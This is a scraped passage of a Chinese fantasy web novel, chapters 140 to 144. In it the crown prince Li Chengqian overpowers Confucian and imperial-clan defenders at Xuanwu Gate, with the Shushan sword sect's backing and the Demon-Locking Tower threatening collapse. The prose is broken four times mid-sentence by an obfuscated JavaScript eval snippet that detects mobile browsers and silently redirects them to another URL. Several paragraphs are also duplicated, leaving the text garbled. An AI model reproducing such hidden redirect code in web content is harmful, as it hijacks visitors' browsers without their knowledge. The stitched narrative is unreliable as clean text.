那足以撕裂苍穹的森然剑意,在接触到那片金色光华的瞬间,竟如同遇到了克星,寸寸消融,节节败退! 天空中的三千剑仙,身形齐齐一震,那原本无懈可击的剑阵,竟也出现了微不可察的凝滞! 分庭抗礼! 以一人之力,竟真的与三千剑仙分庭抗礼! 这超越了凡俗武学的力量,让城楼上下的所有人都看得目瞪口呆! 而城楼上,那个本已心如死灰,准备接受任何命运的帝王李世民,在看到这一幕时,那双黯淡的眼眸之中,骤然爆发出了垂死挣扎的,疯狂的希望! 他看到了! 他看到了这世间,还有能与那三千仙人抗衡的力量! 他看到了,自己还没有输得一败涂地! “衍圣公!” 李世民用尽全身的力气,从喉咙里挤出一声嘶哑的咆哮,他挣扎着从地上爬起,扑到城垛边,指着下方的李承乾,对着孔伯渊高呼:“衍圣公救我!此子已然疯魔!快!快救救朕!救救大唐的江山社稷啊!” 这声泣血的呼喊,如同火上浇油! “陛下乃天命所归,拨乱反正,正在今日!” 孔伯渊高声应和,他身后的浩然正气,随着李世民这位“正统”皇帝的呼救,竟再次暴涨三分! 金色的光华,几乎要将半个玄武门都笼罩进去! 局势,在这一瞬间,发生了惊天的逆转! 玄武门城楼上,李世民看着下方那金光万丈、正气凛然的衍圣公,看着那龙气护体、渊渟岳峙的陇西老祖,那颗被绝望与鲜血浸泡得冰冷的心,再次剧烈地跳动起来! 他看到了希望! 看到了翻盘的希望! “孽子!” 李世民扶着城垛,挣扎着站直了身体,他指着城楼下那道孤高的玄衣身影,声音因为激动而嘶哑,却充满了底气,“你看到了没有!天理昭昭!人心向背!” “衍圣公代表天下士子,皇叔代表我李氏宗族!他们,都站在朕这一边!你弑兄囚父,倒行逆施,已是天人共弃!还不速速束手就擒!” 他的吼声,在浩然正气与皇道龙气的加持下,回荡在玄武门前,竟隐隐压过了那百万大军逼近的铁蹄之声! 李承乾闻言,只是缓缓抬起眼皮,那张俊美而冷酷的脸上,甚至连嘲弄的表情都欠奉,只有一片深不见底的漠然。 在看一个上蹿下跳,却无足轻重的蝼蚁。 然而,就在李世民以为胜券在握,衍圣公孔伯渊以为已经占据道义上风的瞬间——“铮——!” 一声剑啸,毫无征兆地从天际尽头传来! 这声音,初时还远在天边,细若游丝,但只是一眨眼的功夫,便已由远及近,变得高亢、清越、霸道! 那啸声之中,不含杀意,却带着斩断乾坤、重塑日月的无上意志! 在这声剑啸面前,衍圣公那煌煌大气的浩然正气,竟如同被巨浪拍打的沙堡,剧烈地晃动起来! 李道玄周身的皇道龙气,也发出了不安的低吟! 所有人,包括天空中的三千剑仙,都骇然抬头,望向声音传来的方向! 只见一道青色的流光,撕裂了空间,以一种超越了世人理解的速度,瞬息而至,悬停在了玄武门的正上空! 光芒散去,显现出一位身着朴素青色道袍,手持一柄古朴木剑的老道。 他鹤发童颜,双目开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253065|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阖间,有星辰生灭,周身没有任何惊天气势,却自然而然地成了这片天地的中心。 在他身后,五位同样气息深不可测,身着各色道袍的老者悄然浮现,分列左右,神情肃穆。 “恭迎掌教!” “恭迎五位长老!” 天空之中,原本被浩然正气压得剑光摇曳的凤道人与虎道人,在看到来人的瞬间,脸上露出了无比恭敬与狂热的神色,与那三千剑仙齐齐躬身行礼! 随着他们的**,那原本有些凝滞的剑阵,瞬间变得圆融无碍,锋锐的剑意比之前强盛了何止十倍! 青色的剑光直冲云霄,竟反过来将衍圣公的金色浩然正气,压得节节败退! 来者,赫然是蜀山剑派的当代掌教——清微道长! 玄武门下,孔伯渊那张古井无波的老脸,在看到青袍老道出现的刹那,终于彻底变了颜色! 那是一种混杂着震惊、愤怒、以及深深不解的骇然! 他手中的鳩杖,因为主人的心神巨震而微微颤抖。 李世民刚刚燃起的希望之火,被这道从天而降的身影,彻底浇灭,只剩下一缕青烟。 他呆呆地看着天空,嘴巴微张,却发不出任何声音。 “清微!?” 孔伯渊失声惊呼,声音里带着不敢置信的颤抖。 他死死地盯着天空中的老道,厉声质问道:“清微道长!神州大地,妖魔四起!你不在蜀山之上,镇守那万年锁妖塔,跑到我这凡尘俗世的长安城来,意欲何为!” 玄武门上空,气氛凝固到了冰点。 孔伯渊那句厉声质问,挟着儒门千年的威严,回荡在天地之间,每一个字都掷地有声。 “……你不在蜀山之上,镇守那万年锁妖塔,跑到我这凡尘俗世的长安城来,意欲何为!” 所有人的目光,都聚焦在了那位刚刚降临的青袍老道身上。 他们想知道,这代表着方外至高力量的蜀山掌教,将如何回应这关乎天下正统的质询。 然而,清微道长的反应,却让所有人,包括李世民在内,都陷入了更深的、无边的骇然之中。 只见他那古井无波的目光,只是淡淡地扫了下方的衍圣公与陇西老祖一眼,在看两只聒噪的夏虫。 随即,他转过身,竟是对着城楼之上,那道一身玄衣、满身血气的年轻身影,缓缓地、恭敬地,行了一个道门稽首大礼! “贫道清微,” 他的声音清朗而悠远,不带烟火气,却清晰地传入了在场每一个人的耳中,“率蜀山五大长老、三千弟子,拜见太子殿下!” 随着他话音落下,他身后那五位气息深不可测的长老,亦是齐齐躬身行礼。 而在他们上方的天穹之中,那三千名悬空而立的蜀山剑仙,更是动作划一! “铮——!” 三千柄长剑同时发出一声清越的剑鸣,剑尖斜指苍穹,而那三千道身影,则对着李承乾的方向,深深地,弯下了他们那高傲的腰! 拜见太子殿下! 这六个字,如同一记记天雷,狠狠地劈在了孔伯渊、李道玄、乃至李世民的心头! 他们的脑海,瞬间一片空白! “你……你们……” 衍圣公孔伯渊如遭雷击,他伸出干枯的手指,指着天空中的清微道长,因为极致的震惊,身体踉跄着向后退了两步,险些摔倒在地。 他那张蕴含着天地至理的脸上,此刻只剩下浓浓的,无法理解的荒谬与惊恐! “疯了!你们都疯了!” 他失声喃喃,声音嘶哑,“蜀山一向不入红尘,不涉王朝更替!清微!你……你为何要奉此等弑兄囚父的乱臣贼子为主?!” 一旁的陇西老祖李道玄,脸色更是阴沉得能滴出水来。 他死死地盯着李承乾,那眼神,像是要将他生吞活剥。 他做梦也想不到,自己这个李氏子孙,竟然能得到连历代帝王都无法驱使的蜀山剑派的效忠! 这已经不是皇权之争了! 这是对他们这些固守着“正统”与“规矩”的老家伙们,最彻底的,最无情的践踏! 城楼之上,李世民刚刚因为衍圣公的出现而燃起的最后一点希望,在这一刻,被彻底碾得粉碎。 他眼中的光芒,化为了死寂的灰烬。 他瘫软在地,嘴唇翕动,却发不出任何声音。 输了。 彻彻底底地,输了。 他不是输给了儿子的权谋,不是输给了军队的背叛,而是输给了一种他完全无法理解,也无法抗衡的,超脱世俗的力量。 面对衍圣公那气急败坏的指责,清微道长缓缓直起身。 他没有辩解,也没有动怒,只是用一种近乎悲悯的眼神,看着下方这两个依旧沉浸在旧日秩序中的“老古董”。 “衍圣公,你错了。” 清微道长缓缓开口,声音缥缈,“天下非一人之天下,乃天下人之天下。旧的秩序早已腐朽不堪,佛门如毒瘤,世家如附骨之蛆,早已让这神州大地怨声载道,天道不容。” 他的目光转向李承乾,那眼神中,带着连他自己都未曾察觉的敬畏。 “太子殿下行霹雳手段,斩断旧日因果,看似杀戮,实则……是在为这片天地,刮骨疗毒!” “此乃顺天应人之举,是开启新纪元的必然之痛。我蜀山,顺应的不是太子殿下,而是这煌煌天道,是这即将到来的,崭新的时代!” “至于锁妖塔……” 清微道长淡淡一笑,那笑容里,带着睥睨天下的自信,“有太子殿下在,人间便是净土,何须我等镇守?” 一番话,字字诛心! 孔伯渊和李道玄的脸色,瞬间变得惨白如纸。 他们听懂了。 清微的意思是,李承乾的行为,不仅不是大逆不道,反而是…… 天命所归! 他们这些出来阻止的人,才是真正的逆天而行! 这…… 这怎么可能?! 一个充满了杀戮与暴戾的魔王,怎么可能会是天命所钟之人?! 无边的恐惧与迷茫,如同潮水,瞬间淹没了这两位活了上百年的老怪物的心。 他们看着城楼上那个负手而立,从始至终都未发一言的年轻太子,第一次感觉到,他们面对的,或许根本不是一个凡人。 而是一个他们完全无法揣度,也无法战胜的…… 时代本身! 第141章 圣人一怒笔伐天下 天命所归? 刮骨疗毒? 人间净土? 玄武门上空,清微道长那番话,如同平地惊雷,炸得孔伯渊和李道玄脑中一片空白。 这一个个词,从这位世外高人,蜀山掌教的口中说出,指向的却是一个弑兄囚父,满身血腥的疯子! 这简直是滑天下之大稽! “清微!” 衍圣公孔伯渊如遭雷击,他那张古井无波的脸庞,此刻只剩下浓浓的,无法理解的荒谬与惊恐! 他伸出干枯的手指,指着天空中的清微道长,身体踉跄着向后退了两步,险些摔倒在地。 “你疯了!你们蜀山都疯了!” 他失声喃喃,声音嘶哑,“蜀山一向不入红尘,不涉王朝更替!你……你为何要奉此等弑兄囚父的乱臣贼子为主?!” 孔伯渊的心在滴血。 他所信奉的,是儒家的礼法,是君君臣臣父父子子的纲常伦理。 李承乾今日之举,每一件,都是在将这套维系了人间千年的秩序,狠狠地踩在脚下,用力的碾碎! 而本该是方外清净地,代表着某种超然正道的蜀山,竟然成了这魔头的帮凶! 这彻底颠覆了他的认知。 “乱臣贼子?” 清微道长缓缓直起身,他没有辩解,也没有动怒,只是用一种近乎悲悯的眼神,看着下方这两个依旧沉浸在旧日秩序中的“老古董”。 “衍圣公,你错了。” 清微道长缓缓开口,声音缥缈,“天下非一人之天下,乃天下人之天下。旧的秩序早已腐朽不堪,佛门如毒瘤,世家如附骨之蛆,早已让这神州大地怨声载道,天道不容。” 他的目光转向李承乾,那眼神中,带着连他自己都未曾察觉的敬畏。 “太子殿下行霹雳手段,斩断旧日因果,看似杀戮,实则……是在为这片天地,刮骨疗毒!” “此乃顺天应人之举,是开启新纪元的必然之痛。我蜀山,顺应的不是太子殿下,而是这煌煌天道,是这即将到来的,崭新的时代!” “一派胡言!” 一旁的陇西老祖李道玄终于忍不住了,他脸色阴沉得能滴出水来,冷声喝道,“清微,收起你这套蛊惑人心的说辞!我李氏的江山,什么时候轮到你一个方外之人来指手画脚?” 他死死地盯着李承乾,那眼神,像是要将他生吞活剥。 他做梦也想不到,自己这个李氏子孙,竟然能得到连历代帝王都无法驱使的蜀山剑派的效忠! 这已经不是皇权之争了! 这是对他们这些固守着“正统”与“规矩”的老家伙们,最彻底的,最无情的践踏! 李道玄的目光转向清微,变得无比锐利:“你刚才说,锁妖塔?你说太子若失势,锁妖塔便会毁坏?简直是笑话!你蜀山镇守锁妖塔千年,何曾与人间帝王有过半分干系?今日为了给这孽障张目,竟连这等谎言都编的出来!” “你以为我等是三岁小儿,会信你这番鬼话?” 李道玄气势逼人,“你蜀山,究竟有什么图谋?!” 城楼之上,本已瘫软在地的李世民,在听到李道玄这番质问时,那双化为死寂灰烬的眼眸,似乎又被点燃了一丝微弱的火苗。 对啊! 锁妖塔! 他身为帝王,对这些秘闻当然有所耳闻。 那是蜀山的根基,是**天下群魔的圣地! 清微身为蜀山掌教,怎么可能为了一个凡间储君,拿锁妖塔的安危来做赌注? 这其中,一定有诈! 或许…… 或许蜀山只是被李承乾用什么利益收买了,此刻不过是虚张声势! 只要衍圣公和皇叔能顶住,只要他们能戳穿这个谎言,自己就还有机会! 面对李道玄的厉声质问,清微道长只是淡淡一笑,那笑容里,带着睥睨天下的自信。 “魔道!你蜀山已堕入魔道!” 孔伯渊气得浑身发抖,他手中鳩杖重重顿地,一股更加宏大的浩然正气冲天而起。 “老夫不管你什么天道,什么新时代!老夫只知,人伦纲常,天地正道,不容亵渎!李承乾倒行逆施,便是妖邪!你蜀山助纣为虐,便是与天下为敌!” 他的声音,在浩然正气的加持下,响彻云霄。 “天下儒生听令!” 随着他一声高喝,长安城内,国子监、孔庙,无数书院之中,朗朗读书声戛然而止。 紧接着,一股股或强或弱,但都至阳至刚的浩-然正气,从城中各处升腾而起,化作点点金光,如百川归海,疯狂地涌向玄武门外的孔伯渊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253066|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “圣人曰:天道不仁以万物为刍狗!” 那吟诵之声,再次响起,比之前宏大了何止十倍! 孔伯渊周身的金色光华暴涨,几乎将半个天空都染成了金色。 那由无数儒家经义所化的文字长河,变得更加凝实,仿佛化作了一座金色的牢笼,要将这玄武门内外所有的“异端”,都彻底净化! “清微!李承乾!今日,老夫便要替天行道,诛杀你们这两个动摇国本的妖人!” 孔伯渊须发皆张,状若怒目金刚,他举起手中的鳩杖,那无尽的浩然正气汇聚于杖首,化作一轮煌煌大日,就要对着天空中的剑阵和城楼上的李承乾,狠狠砸下! 孔伯渊怒了。 这位一生都在宣扬“仁”与“礼”的儒家之首,此刻彻底被李承乾和清微道长的“歪理邪说”激怒了。 在他看来,这已经不是皇权更替,不是父子相残。 这是一场道统之争! 是人伦正道与邪魔歪道的终极对决! 他不能退,也无法退。 他身后,站着的是传承千年的儒家道统,是天下所有读书人心中颠扑不破的真理! “圣人曰:三人行必有我师!” 宏大的吟诵声响彻天地,长安城内,每一个读书人的心神,都与玄武门外的衍圣公连接在了一起。 他们或许不知道发生了什么,但他们能感受到衍圣公那股匡扶社稷、诛杀妖邪的滔**意! 这是他们的领袖,是他们的精神象征! 于是,他们毫无保留地,将自己毕生所学的浩然正气,贡献了出来! “嗡——!” 孔伯渊高举的鳩杖之上,那轮由浩然正气凝聚的金色大日,光芒璀璨到了极致! 那光芒,不伤人,不毁物,却带着一种净化世间一切污秽、勘定天地秩序的无上威严! 在这金光之下,蜀山三千剑仙那锋锐无匹的剑意,竟发出了“滋滋”的声响,如同冰雪遇到了烈阳,被不断地消融、压制! 天空中的剑阵,光芒都暗淡了几分,一些修为稍弱的蜀山弟子,甚至闷哼一声,嘴角溢出了一丝鲜血。 “好一个衍圣公!好一个儒家正统!” 第142章 孤,即是天命! 天空之中,清微道长身后的五大长老,脸色齐齐一变。 他们能感觉到,这股力量,不是单纯的能量对抗。 这是一种“理”的压制! 儒家的“理”,是君臣父子,是仁义礼智信。 在这种“理”的面前,蜀山剑仙的“杀”,从根本上,就落了下风,被定义为了“不义”! “掌教!” 凤道人神情凝重,“这老家伙在拼命了!他这是在燃烧儒家千年的气运,要将我们打成邪魔外道,永世不得翻身!” “无妨。” 清微道长神色依旧平静,但那**阖间有星辰生灭的眼眸,也终于多了一丝认真。 他手中的古朴木剑,轻轻一振。 “蜀山弟子听令,结‘两仪微尘剑阵’!” “是!” 三千剑仙齐声应和,那原本有些涣散的剑阵,瞬间变幻! 不再是单纯的锋芒毕露,而是化作一黑一白两道巨大的剑气洪流,如同两条互相追逐的阴阳鱼,缓缓转动起来。 一生二,二生三,三生万物。 剑阵之中,仿佛演化出了一方小世界,山川草木,日月星辰,生生不息。 那煌煌大日的金色光华照耀进来,不再是被剑意硬抗,而是被这方小世界直接吞噬、分解、转化,变成了剑阵自身的力量! “道法自然!衍圣公,你的‘理’,太小了!” 清微道长的声音,在天地间回荡。 “你只看到了人间的君臣父子,却看不到这天地万物的运转至理!我蜀山之剑,顺天而行,斩的是妖,除的是魔,护的是这苍生大道!何来不义之说?” 黑白剑气流转,竟硬生生将那金色大日的净化之力,抵挡在外! 而就在此时,另一股力量,加入了战局! “皇叔!助我!” 城楼上,看到衍圣公与蜀山掌教分庭抗礼,李世民那颗死寂的心,再次疯狂跳动起来! 他看到了希望! 他挣扎着,对着下方的李道玄,发出了泣血般的嘶吼! “好!” 李道玄等的就是这个机会! 他身为李氏皇族的老祖,他所修的“太上道”,与皇道龙气息息相关! 李世民是正统天子,只要李世民不倒,他的龙气,就是名正言顺! “我李氏的江山,岂容妖道与逆子颠覆!” 李道玄一声长啸,他身上那股纯粹、古老、深沉的皇道龙气,冲天而起! 那龙气,不像李世民那般张扬,却更加厚重! 它没有化作金龙之形,而是直接融入了孔伯渊那轮金色的大日之中! “轰——!” 得到了皇道龙气的加持,那轮金色大日,瞬间暴涨! 金光之中,隐隐有龙吟之声响起! 这是“礼法”与“正统”的完美结合! 其威力,瞬间翻倍! “噗!” 天空之中,又有数十名蜀山弟子口喷鲜血,身形摇摇欲坠! 清微道长和五大长老,也是身形一震,脸色齐齐白了几分。 那“两仪微尘剑阵”所化的小世界,运转都变得滞涩起来,仿佛随时都会崩溃! 局势,再一次发生了逆转! “哈哈哈哈!” 李世民见状,发出了疯狂的大笑。 他扶着城垛,再次站直了身体,他指着城楼下那道孤高的玄衣身影,声音因为激动而嘶哑,却充满了前所未有的底气! “孽子!你看到了没有!天理昭昭!人心向背!” “衍圣公代表天下士子,皇叔代表我李氏宗族!他们,都站在朕这一边!你弑兄囚父,倒行逆施,已是天人共弃!还不速速束手就擒!” 他的吼声,在浩然正气与皇道龙气的加持下,回荡在玄武门前,竟隐隐压过了那百万大军逼近的铁蹄之声! 苏定方和他身后的十万大军,刚刚才熄灭的战意,再一次被点燃了! 是啊! 他们效忠的,不仅仅是皇帝李世民,更是大唐的社稷,是这片土地的“正统”与“规矩”! 如今,儒家之首和皇族之长都站了出来,指责太子是“**”,那他们,是不是应该重新拿起武器,捍卫这天地间的“礼法”与“正道”?! 苏定方那只松开的手,再一次,缓缓握紧了马槊。 然而,就在李世民以为胜券在握,衍圣公孔伯渊以为已经占据绝对上风的瞬间——那个从始至终,都只是冷眼旁观的年轻太子,李承乾,终于动了。 他看着下方那金光万丈、正气凛然的衍圣公,看着那龙气护体、渊渟岳峙的陇西老祖,看着那再次燃起希望,状若疯狂的父皇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253067|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他笑了。 那笑容,冰冷而嘲弄。 “礼法?规矩?正统?” 他缓缓地,一字一顿地说道,声音里充满了无尽的蔑视。 “一群活在过去的老东西,也配在孤的面前,谈论未来?” 他缓缓抬起眼皮,那张俊美而冷酷的脸上,甚至连嘲弄的表情都欠奉,只有一片深不见底的漠然。 像是在看一群上蹿下跳,却无足轻重的蝼蚁。 “今日,孤便让你们看看……” 他向前,踏出了一步。 “什么,才是真正的……天命!” 李承乾向前踏出了那一步。 没有惊天动地的气势,没有风云变色的异象。 他就那么平平常常地,一步踏出。 然而,就在他脚步落下的瞬间,整个玄武门,乃至整个长安城,所有人都感觉到了一股发自灵魂深处的…… 悸动! 仿佛,这片天地的中心,在这一刻,从那煌煌大日,从那剑气世界,转移到了这个年轻的太子身上。 他,就是世界的中心! “一群活在过去的老东西,也配在孤的面前,谈论未来?” 李承乾的声音依旧平静,却带着一种不容置疑的意志,传遍了全场。 “你们所谓的礼法,就是让世家门阀垄断知识,永世高高在上?” “你们所谓的规矩,就是让我李氏皇族,为了所谓的颜面,容忍佛门这种毒瘤,吸干帝国的骨髓?” “你们所谓的正统,就是选一个平庸懦弱的守成之君,继续在这个腐朽的棋盘上,和你们这些老而不死的下棋?” 他的声音越来越冷,越来越响! “孤今天,就是要掀了这张桌子!” 话音落下的瞬间,一股与皇道龙气、浩然正气、蜀山剑意截然不同的力量,从李承乾的体内,轰然爆发! 那不是金色的,不是白色的,也不是青色的。 那是一股…… 漆黑如墨,却又带着无尽威严的帝王之气! 在这股黑色的帝气之中,更夹杂着尸山血海一般的铁血杀伐之意,以及…… 一股新生的,代表着万民希望的磅礴愿力! 毁灭! 新生! 霸道! 威严! 第143章 霸道之威! 霸道气息,完美地融合在了李承乾的身上,化作一道通天的黑色光柱,直冲云霄! “轰——!” 黑色的帝气,与孔伯渊、李道玄联手催动的金色大日,狠狠地撞在了一起! 没有想象中的僵持。 那轮足以净化万物,**天地的金色大日,在接触到那股黑色帝气的瞬间,竟如同纸糊的一般! “咔嚓!” 一声脆响,清晰地传入每个人耳中。 金色大日的表面,出现了一道裂痕! 紧接着,第二道,第三道…… 无数道裂痕,如同蛛网般,瞬间布满了整个大日! “噗!” 衍圣公孔伯渊如遭重击,猛地喷出一口鲜血,他那张因为催动秘法而涨红的脸,瞬间变得惨白如纸! “这……这是什么力量?!” 他失声惊呼,眼中充满了骇然与不解。 他的浩然正气,是天地间至阳至刚的力量,是专门克制一切邪魔歪道的存在! 可为什么…… 为什么在这股黑色的帝气面前,竟会如此不堪一击?! 这股力量,充满了杀戮与毁灭,分明是魔中之魔,可偏偏,在那毁灭之中,他又感觉到了一股…… 新生! 一股比他的浩然正气更加宏大,更加符合“天理”的秩序! “你的‘理’,是腐朽的,是建立在万民的尸骨之上。” 李承乾的声音,仿佛从九天之上传来,带着审判的意味。 “而孤的‘道’,是要砸碎这腐朽的一切,还天下一个朗朗乾坤!” “孤,即是天命!” 他伸出手,对着那即将破碎的金色大日,虚虚一握。 “给孤……碎!” “轰隆!” 一声惊天动地的巨响! 那轮由儒家千年气运和李唐皇道龙气共同凝聚的金色大日,在李承乾这一握之下,轰然爆碎! 化作漫天金色的光点,消散在空中! “噗!” “噗!” 孔伯渊和李道玄,二人同时如遭重锤,身体像断了线的风筝一样,向后倒飞出去,重重地摔在地上,鲜血狂喷! 那从长安城各处汇聚而来的浩然正气,瞬间断绝。 国子监内,孔庙之中,无数正在闭目贡献力量的儒生,齐齐浑身一震,脸色煞白,更有甚者,当场口吐鲜血,昏死过去! 道统被破! 仅仅一击! 李承乾只用了一击,就将代表着“礼法”与“正统”的两大泰山北斗,彻底击溃! 天空之中,清微道长和五大长老,看着那道通天的黑色光柱,看着那个如同神魔一般的年轻太子,脸上都露出了无比敬畏与狂热的神色。 “这……这就是……新时代的力量吗?” 凤道人喃喃自语,声音都在颤抖。 他们选择追随李承乾,是因为从他身上看到了“天机”,看到了解决锁妖塔危机的希望。 可他们也从未想过,李承乾自身的力量,竟然已经恐怖到了如此地步! 这已经不是凡人的力量了! 这是…… 道! 一条全新的,以毁灭开创未来,以杀戮铸就新生的…… 霸道! 玄武门前,一片死寂。 所有人都被这神魔般的一幕,惊得魂飞魄散。 苏定方和他身后的十万大军,刚刚握紧的马槊,再一次“哐当”一声,掉在了地上。 他们看着城楼上那个沐浴在黑色帝气中的身影,眼神中只剩下了最原始的…… 恐惧和崇拜。 而城楼上,李世民那疯狂的大笑,也戛然而止。 他呆呆地看着下方倒地吐血的衍圣公和皇叔,又看了看那个如同魔神降世的儿子。 他刚刚燃起的,那最后的希望之火,被这一幕,彻底浇灭,连一丝青烟都没有剩下。 他明白了。 彻底明白了。 他不是输给了权谋,不是输给了背叛。 他是输给了…… 一个他完全无法理解,也无法抗衡的…… 霸道! 李承乾缓缓收回了手,周身的黑色帝气也渐渐敛入体内。 他居高临下地看着倒在地上,气息萎靡的孔伯渊和李道玄,眼神漠然。 “现在,还有谁,有异议?” 他的声音不大,却像一记记重锤,砸在每个人的心头。 无人敢答。 无人能答。 玄武门前,死一般的寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253068|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孔伯渊和李道玄挣扎着从地上爬起来,他们互相搀扶着,看着城楼上那个负手而立的年轻太子,眼中只剩下无边的骇然与…… 迷茫。 输了。 输得如此彻底,如此干脆。 他们引以为傲的道统,他们赖以存身立世的“理”与“规矩”,在对方那绝对的,不讲道理的霸道面前,脆弱得就像一个笑话。 “为……为什么……” 孔伯渊捂着胸口,嘴角还挂着血迹,他艰难地开口,声音嘶哑。 他想不通。 儒家教化天下,顺应天理,为何会被一股充满了杀戮与毁灭的“魔气”所克制? 难道,这天,真的变了吗? 难道,他们坚守了千年的道,真的是错的吗? “因为你们的道,太小了。” 李承乾仿佛看穿了他的心思,淡淡地开口。 “你们的眼中,只有朝堂,只有士族,只有所谓的纲常伦理。你们看不到,在这华丽的袍服之下,这个帝国,早已爬满了蛆虫,烂到了骨子里。” 他的目光,转向了天空中的清微道长。 “清微道长,孤想,是时候让这两位活在梦里的老先生,看一看,这真实的,即将崩塌的世界了。” “谨遵殿下之令。” 清微道长对着李承乾,恭敬地行了一礼。 随即,他转过身,看向面如死灰的孔伯渊和李道玄。 他叹了口气,似乎也觉得,若不让他们彻底死心,今日之事,终究会留下无穷的后患。 他伸出手指,在身前的虚空中,轻轻一点。 “嗡——”空间泛起一阵涟漪,一面由水汽凝结而成的巨大镜子,出现在玄武门的上空。 镜面之中,光影变幻,最终,定格在了一座高耸入云,通体漆黑的巨塔之上。 那巨塔,仿佛由某种不知名的金属铸成,表面刻满了无数古老而又复杂的符文。 一股股肉眼可见的黑气,如同毒蛇一般,缠绕在塔身之上,散发着令人心悸的邪恶气息。 “这……这是……” 李道玄瞳孔猛地一缩,他从那塔上,感觉到了一股比李承乾的魔气,还要纯粹,还要古老的…… 妖气! “锁妖塔。” 第144章 李承乾,天命之人! 清微道长的声音,带着一丝沉重。 “我蜀山,镇守此塔,已有三千年。” 镜中的画面,开始向着塔内拉近。 只见那坚不可摧的塔身之上,竟布满了大大小小的裂痕! 最恐怖的一道裂痕,几乎贯穿了半个塔身! 无尽的,漆黑如墨的妖气,正从那些裂痕之中,疯狂地向外渗透! 而在塔的周围,数以千计的蜀山弟子,正盘膝而坐,他们身上散发着道道剑光,结成一座巨大的阵法,拼命地修补着那些裂痕,阻止着妖气的泄露。 但他们的脸色,都苍白如纸,许多人甚至已经七窍流血,显然是灵力耗尽,油尽灯枯。 可即便如此,妖气的泄露,也只是被稍稍减缓,并未被完全堵住。 “怎么会这样?!” 孔伯渊失声惊呼。 锁妖塔的传说,他有所耳闻,但一直以为不过是方士的夸大之词。 可眼前这真实的一幕,让他浑身冰冷。 那塔中泄露出的妖气,仅仅是透过水镜传来的一丝,就让他感觉到了发自灵魂的战栗! 他无法想象,若是此塔真的崩塌,那将是何等恐怖的末日景象! 清微道长的声音,充满了疲惫与苍凉。 “锁妖塔,乃是上古神人所建,以神州龙脉为阵眼,**着自天地初开以来,为祸人间的无数大妖巨魔。” “千百年来,龙脉稳固,锁妖塔亦是固若金汤。可是……” 他的声音一沉。 “近百年来,人间秩序崩坏,战乱不休,人心败坏,贪婪、淫邪、杀戮之气,充斥天地!尤其是佛门大兴,他们不事生产,贪得无厌,名为清修之地,实为藏污纳垢之所,早已将这神州大地的根基,蛀得千疮百孔!” “龙脉被污,气运衰败!锁妖塔的封印,自然也就日渐松动!” “到了今日,已是……回天乏术!” 水镜中的画面,再次变幻,深入到了锁妖塔的最底层。 那里,是一片混沌的黑暗。 黑暗的中心,隐约可以看到一个巨大无比的,被无数条粗壮的金色锁链捆绑的…… 影子! 那影子,看不清具体的模样,但仅仅是轮廓,就散发着一股足以让天地都为之颤抖的,毀灭性的气息! 他似乎察觉到了外界的窥探,缓缓地,抬起了“头”。 两点猩红的光芒,在黑暗中亮起,仿佛两轮血色的太阳! “吼——!” 一声无声的咆哮,直接在所有人的灵魂深处炸响! “噗!” 城楼上下,无数士兵、官员,齐齐口喷鲜血,当场昏死过去! 就连孔伯渊和李道玄,也是脑中嗡的一声,眼前发黑,再次喷出一口血来! “天……天妖皇!” 清微道长的脸上,也终于露出了深深的忌惮之色。 他一挥手,水镜瞬间破碎。 “此魔,乃是万妖之祖。上一次他破封而出,神州陆沉,十室九空,最后是数位仙人联手,牺牲了自己,才将他重新封印。” “如今,封印最多……还能再撑一年。” 清微道长看着面无人色,身体抖如筛糠的孔伯渊和李道玄,一字一句地说道:“衍圣公,李老祖。” “现在,你们还觉得,你们所争的‘君臣父子’,‘皇族正统’,有意义吗?” “在这灭世之灾面前,你们所坚守的一切,不过是个……笑话!” 清微道长的话,如同一盆冰水,从头到脚,浇在了孔伯渊和李道玄的身上。 让他们从里到外,凉了个通透。 灭世之灾。 笑话。 这两个词,在他们脑中疯狂地盘旋,将他们那早已根深蒂固的世界观,撞得支离破碎。 他们呆呆地站在原地,身体还在因为刚才那天妖皇的灵魂咆哮而微微颤抖,眼神空洞,一句话也说不出来。 